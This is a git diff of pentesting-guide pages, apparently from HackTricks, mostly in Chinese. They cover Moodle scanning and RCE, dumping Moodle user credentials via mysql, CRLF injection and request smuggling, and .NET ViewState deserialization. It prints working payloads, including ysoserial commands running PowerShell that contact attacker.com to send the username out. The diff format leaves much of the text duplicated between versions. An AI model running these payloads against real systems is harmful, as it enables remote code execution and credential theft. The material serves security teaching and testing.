moodlescan is a powerful tool for identifying vulnerabilities in Moodle installations. By using this tool, penetration testers and security professionals can effectively assess the security of Moodle-based e-learning platforms and help mitigate potential risks.
|
||||
Overall, moodlescan is a useful tool for pentesters and security professionals to assess the security of Moodle installations and ensure that they are protected against potential attacks.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -139,12 +95,13 @@ CMSMap是一款用于扫描和识别Moodle网站的工具。Moodle是一种广
|
|||
|
||||
- **信息收集**:CMSMap可以收集有关目标Moodle网站的信息,包括版本号、插件和主题。
|
||||
- **漏洞扫描**:CMSMap可以扫描Moodle网站以查找已知的漏洞和安全问题。
|
||||
- **弱点利用**:CMSMap可以利用已知的漏洞和弱点来获取对Moodle网站的未授权访问或执行其他恶意操作。
|
||||
- **密码破解**:CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行暴力破解。
|
||||
- **认证破解**:CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行认证破解。
|
||||
- **目录爆破**:CMSMap可以通过尝试访问常见的目录和文件路径来发现Moodle网站上的隐藏内容。
|
||||
- **漏洞利用**:CMSMap可以利用已知的漏洞来获取对Moodle网站的未授权访问或执行特定的攻击。
|
||||
|
||||
要使用CMSMap,您需要提供目标Moodle网站的URL。然后,CMSMap将自动执行各种扫描和利用技术,以帮助您发现潜在的安全问题。
|
||||
要使用CMSMap,您需要安装Python和一些必要的依赖项。然后,您可以通过命令行界面运行CMSMap,并提供目标Moodle网站的URL。
|
||||
|
||||
请注意,使用CMSMap进行Moodle网站的渗透测试需要合法的授权和许可。未经授权的访问和攻击是违法行为,可能会导致严重的法律后果。
|
||||
请注意,使用CMSMap进行渗透测试需要获得合法的授权,并遵守适用的法律和道德准则。
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
@ -177,31 +134,13 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|||
|
||||
To find database credentials in a Moodle application, you can start by analyzing the POST requests made by the application. These requests often contain sensitive information, such as database credentials, that are sent from the client to the server.
|
||||
|
||||
为了在Moodle应用程序中查找数据库凭据,您可以开始分析应用程序发送的POST请求。这些请求通常包含敏感信息,例如从客户端发送到服务器的数据库凭据。
|
||||
To begin, intercept the POST requests using a proxy tool like Burp Suite. Once you have intercepted a POST request, analyze its parameters and look for any fields that may contain database credentials. Common parameter names to look for include "db_user", "db_password", "db_username", and "db_passwd".
|
||||
|
||||
To intercept and analyze the POST requests, you can use tools like Burp Suite or OWASP ZAP. These tools allow you to capture the requests and view their contents.
|
||||
If you find any parameters that appear to contain database credentials, note down their values. These values may be encrypted or encoded, so you may need to decrypt or decode them to obtain the actual credentials.
|
||||
|
||||
为了拦截和分析POST请求,您可以使用Burp Suite或OWASP ZAP等工具。这些工具允许您捕获请求并查看其内容。
|
||||
Once you have obtained the database credentials, you can use them to gain unauthorized access to the database. This can be done by connecting to the database using a database management tool or by using the credentials in other parts of the application that require database access.
|
||||
|
||||
Once you have intercepted a POST request, you can look for parameters that may contain database credentials. Common parameter names to look for include "db_user", "db_password", "db_username", and "db_passwd".
|
||||
|
||||
一旦拦截到POST请求,您可以查找可能包含数据库凭据的参数。要查找的常见参数名称包括"db_user"、"db_password"、"db_username"和"db_passwd"。
|
||||
|
||||
You can also look for other parameters that may indicate the presence of database credentials, such as "db_host" or "db_name".
|
||||
|
||||
您还可以查找其他可能指示存在数据库凭据的参数,例如"db_host"或"db_name"。
|
||||
|
||||
Once you have identified the parameters that may contain database credentials, you can extract the values and test them to see if they are valid.
|
||||
|
||||
一旦确定可能包含数据库凭据的参数,您可以提取这些值并测试它们以查看是否有效。
|
||||
|
||||
It is important to note that this technique assumes that the application is not properly securing the transmission of sensitive information. In a secure application, the database credentials should be encrypted or stored securely on the server side.
|
||||
|
||||
需要注意的是,此技术假设应用程序未正确保护敏感信息的传输。在安全的应用程序中,数据库凭据应该是加密的或在服务器端安全存储的。
|
||||
|
||||
Always ensure that you have proper authorization and legal permission before attempting any penetration testing activities.
|
||||
|
||||
在进行任何渗透测试活动之前,始终确保您具有适当的授权和合法许可。
|
||||
Remember to always obtain proper authorization before attempting any penetration testing activities. Unauthorized access to databases or other systems is illegal and unethical.
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -211,21 +150,21 @@ To dump credentials from a database, you can follow these steps:
|
|||
|
||||
1. Identify the target database: Determine the type of database being used by the web application. Common databases include MySQL, PostgreSQL, Oracle, and Microsoft SQL Server.
|
||||
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by injecting SQL queries or attempting to log in with common usernames and passwords.
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
||||
|
||||
3. Extract credentials: Once you have identified the database users, you can extract their credentials by querying the database. This can be done using SQL commands such as SELECT or UNION.
|
||||
3. Gain database access: Once you have identified the database users, attempt to gain access to the database. This can be done by using the obtained credentials or by exploiting vulnerabilities in the database itself.
|
||||
|
||||
4. Analyze the extracted data: Review the extracted credentials to identify valid usernames and passwords. Look for patterns or common practices that may help in cracking weak passwords.
|
||||
4. Dump the credentials: Once you have access to the database, you can extract the credentials stored within it. This can be done by executing SQL queries to retrieve the username and password information from the relevant tables.
|
||||
|
||||
5. Test the credentials: Use the extracted credentials to log in to the web application or other services associated with the database. This will help verify the validity of the credentials and assess their potential impact.
|
||||
5. Analyze the credentials: After extracting the credentials, analyze them to determine their validity and potential impact. This includes checking if the passwords are stored in plaintext or if they are hashed and salted.
|
||||
|
||||
Remember to always obtain proper authorization before performing any database credential extraction. Unauthorized access to databases is illegal and unethical.
|
||||
Remember to always obtain proper authorization before performing any penetration testing activities. Unauthorized access to databases is illegal and unethical.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -233,9 +172,9 @@ Remember to always obtain proper authorization before performing any database cr
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
当浏览器向Web服务器发送请求时,Web服务器会回复一个包含HTTP响应头和实际网站内容(即响应体)的响应。HTTP头和HTML响应(网站内容)由特定的特殊字符组合分隔,即回车和换行符。简称为CRLF。
|
||||
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都会使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来源:[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
### 什么是CRLF注入漏洞?
|
||||
|
@ -31,7 +31,7 @@ Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的
|
|||
|
||||
## Web应用程序中的CRLF注入
|
||||
|
||||
在Web应用程序中,CRLF注入可能会产生严重影响,这取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行,直接影响Web应用程序安全漏洞。实际上,CRLF注入攻击可能对Web应用程序产生非常严重的后果,即使它从未出现在OWASP Top 10列表中。例如,可以在下面的示例中解释如何操纵管理员面板中的日志文件。
|
||||
在Web应用程序中,CRLF注入可能会产生严重影响,具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行,直接影响Web应用程序安全漏洞。实际上,CRLF注入攻击可能对Web应用程序产生非常严重的后果,即使它从未出现在OWASP Top 10列表中。例如,可以在下面的示例中解释如何操纵管理员面板中的日志文件。
|
||||
|
||||
#### 日志文件中CRLF注入的示例
|
||||
|
||||
|
@ -147,13 +147,13 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
|||
```
|
||||
然后,**指定第二个请求**。这里有一个经典的[**请求走私**](http-request-smuggling/),服务器在注入后附加了**额外的**头部/主体。
|
||||
|
||||
以下是两种跨用户利用的选项之一。
|
||||
以下是两种跨用户利用的选项。
|
||||
|
||||
指定一个**恶意前缀**,以污染下一个用户的请求或者一个Web缓存:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
或者通过构造我们的前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
||||
或者通过构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
@ -161,7 +161,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
|||
|
||||
### Memcache注入
|
||||
|
||||
Memcache是一个使用明文协议的**键值存储**。更多信息请参见:
|
||||
Memcache是一个使用明文协议的**键值存储**。更多信息请参考:
|
||||
|
||||
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
||||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
|
@ -185,7 +185,7 @@ Memcache是一个使用明文协议的**键值存储**。更多信息请参见
|
|||
|
||||
CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,如信息泄露。它还可以禁用受害者浏览器中的某些安全限制,如XSS过滤器和同源策略,使其容易受到恶意攻击。
|
||||
|
||||
### 如何预防Web应用程序中的CRLF / HTTP头注入
|
||||
### 如何预防Web应用中的CRLF / HTTP头注入
|
||||
|
||||
最佳的预防技术是不直接在响应头中使用用户输入。如果不可能,应始终使用函数对CRLF特殊字符进行编码。另一个良好的Web应用程序安全最佳实践是将编程语言更新到不允许在设置HTTP头的函数中注入CR和LF的版本。
|
||||
|
||||
|
@ -224,9 +224,9 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -236,7 +236,7 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,
|
|||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
# 在不知道密钥的情况下利用\_\_VIEWSTATE
|
||||
# 在不知道密钥的情况下利用 \_\_VIEWSTATE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中宣传你的公司吗?或者想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 什么是ViewState
|
||||
## 什么是 ViewState
|
||||
|
||||
**ViewState**是ASP.NET框架默认使用的方法,用于在网页之间**保留页面和控件的值**。当页面的HTML被渲染时,页面的当前状态和需要在postback期间保留的值被序列化为base64编码的字符串,并输出到ViewState隐藏字段中。\
|
||||
以下属性或属性组合适用于ViewState信息:
|
||||
**ViewState** 是 ASP.NET 框架默认使用的方法,用于在网页之间保留页面和控件的值。当页面的 HTML 渲染时,页面的当前状态和需要在 postback 期间保留的值会被序列化为 base64 编码的字符串,并输出到 ViewState 隐藏字段中。\
|
||||
以下属性或属性组合适用于 ViewState 信息:
|
||||
|
||||
* Base64
|
||||
* 可以通过将EnableViewStateMac和ViewStateEncryptionMode属性设置为false来定义
|
||||
* 可以使用 EnableViewStateMac 和 ViewStateEncryptionMode 属性设置为 false 来定义
|
||||
* Base64 + MAC(消息认证码)已启用
|
||||
* 可以通过将EnableViewStateMac属性设置为true来定义
|
||||
* 可以使用 EnableViewStateMac 属性设置为 true 来定义
|
||||
* Base64 + 加密
|
||||
* 可以通过将viewStateEncryptionMode属性设置为true来定义
|
||||
* 可以使用 viewStateEncryptionMode 属性设置为 true 来定义
|
||||
|
||||
## **测试案例**
|
||||
|
||||
![](<../../.gitbook/assets/image (309) (2).png>)
|
||||
|
||||
### 测试案例:1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
### 测试案例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
|
||||
|
||||
还可以通过在以下位置将`AspNetEnforceViewStateMac`注册表键设置为零来完全禁用ViewStateMAC:
|
||||
还可以通过在以下位置将 `AspNetEnforceViewStateMac` 注册表键设置为零来完全禁用 ViewStateMAC:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
|
||||
开发人员可以通过将 ViewState 从 HTTP 请求中移除(用户将不会收到此 cookie)来防止 ViewState 成为请求的一部分。\
|
||||
有人可能会认为,如果 ViewState 不存在,他们的实现就不会受到 ViewState 反序列化可能引发的任何潜在漏洞的影响。\
|
||||
然而,事实并非如此。如果我们在请求体中添加 ViewState 参数,并发送使用 ysoserial 创建的序列化有效负载,我们仍然能够实现代码执行,就像案例 1 中所示。
|
||||
然而,事实并非如此。如果我们将 ViewState 参数添加到请求体中,并发送使用 ysoserial 创建的序列化有效负载,我们仍然可以实现代码执行,就像案例 1 中所示。
|
||||
|
||||
### 测试案例:2 - .Net < 4.5 且 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
|
@ -112,7 +112,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
|||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
如果你很幸运地找到了密钥,你可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)继续攻击:
|
||||
如果你很幸运地找到了密钥,你可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**继续进行攻击:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
|
@ -124,19 +124,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
```
|
||||
### 测试案例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true
|
||||
|
||||
在这种情况下,Burp无法识别参数是否受到MAC保护,因为它无法识别这些值。因此,该值可能已加密,您将需要使用机器密钥来加密您的有效负载以利用此漏洞。
|
||||
在这种情况下,Burp无法识别参数是否受到MAC保护,因为它无法识别这些值。因此,该值可能已加密,您将**需要使用Machine Key来加密您的有效载荷**以利用此漏洞。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
|
||||
|
||||
**在这种情况下,**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)**模块正在开发中...**
|
||||
**在这种情况下,**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
|
||||
在.NET 4.5之前,即使将`ViewStateEncryptionMode`设置为**Always**,ASP.NET也可以接受用户的未加密的`__VIEWSTATE`参数。ASP.NET只检查请求中是否存在`__VIEWSTATEENCRYPTED`参数。**如果删除此参数并发送未加密的有效负载,它仍将被处理。**
|
||||
在.NET 4.5之前,即使将`ViewStateEncryptionMode`设置为**Always**,ASP.NET也可以**接受**用户的**未加密**的\_`__VIEWSTATE`\_参数。ASP.NET只检查请求中是否存在**`__VIEWSTATEENCRYPTED`**参数。**如果删除此参数并发送未加密的有效载荷,它仍将被处理。**
|
||||
|
||||
因此,如果已知Machinekey(例如通过目录遍历问题),可以使用**Case 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令来利用ViewState反序列化漏洞执行RCE。
|
||||
因此,如果已知Machinekey(例如通过目录遍历问题),可以使用**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令来利用ViewState反序列化漏洞执行RCE。
|
||||
|
||||
* 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞,否则将返回ViewState MAC验证错误,并且利用将失败,如下图所示:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### 测试案例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true/false,除非两个属性都设置为false
|
||||
|
||||
|
@ -179,18 +179,18 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
如果成功利用了ViewState反序列化漏洞,一个受攻击者控制的服务器将收到一个包含用户名的带外请求。[成功利用的PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
如果ViewState反序列化漏洞成功被利用,一个受攻击者控制的服务器将收到一个包含用户名的带外请求。[成功利用的PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
|
||||
### 测试案例6 - 使用了ViewStateUserKeys
|
||||
|
||||
**ViewStateUserKey**属性可以用来防御**CSRF攻击**。如果应用程序中定义了这样的密钥,并且我们尝试使用前面讨论的方法生成**ViewState**负载,**应用程序将不会处理该负载**。
|
||||
**ViewStateUserKey**属性可以用来防御**CSRF攻击**。如果应用程序中定义了这样的密钥,并且我们尝试使用前面讨论过的方法生成**ViewState**负载,**应用程序将不会处理该负载**。
|
||||
为了正确创建负载,你需要使用另一个参数:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们会得到如下图所示的 OOB 请求:
|
||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们会得到如下所示的 OOB 请求:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
|
@ -201,13 +201,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
## 参考资料
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
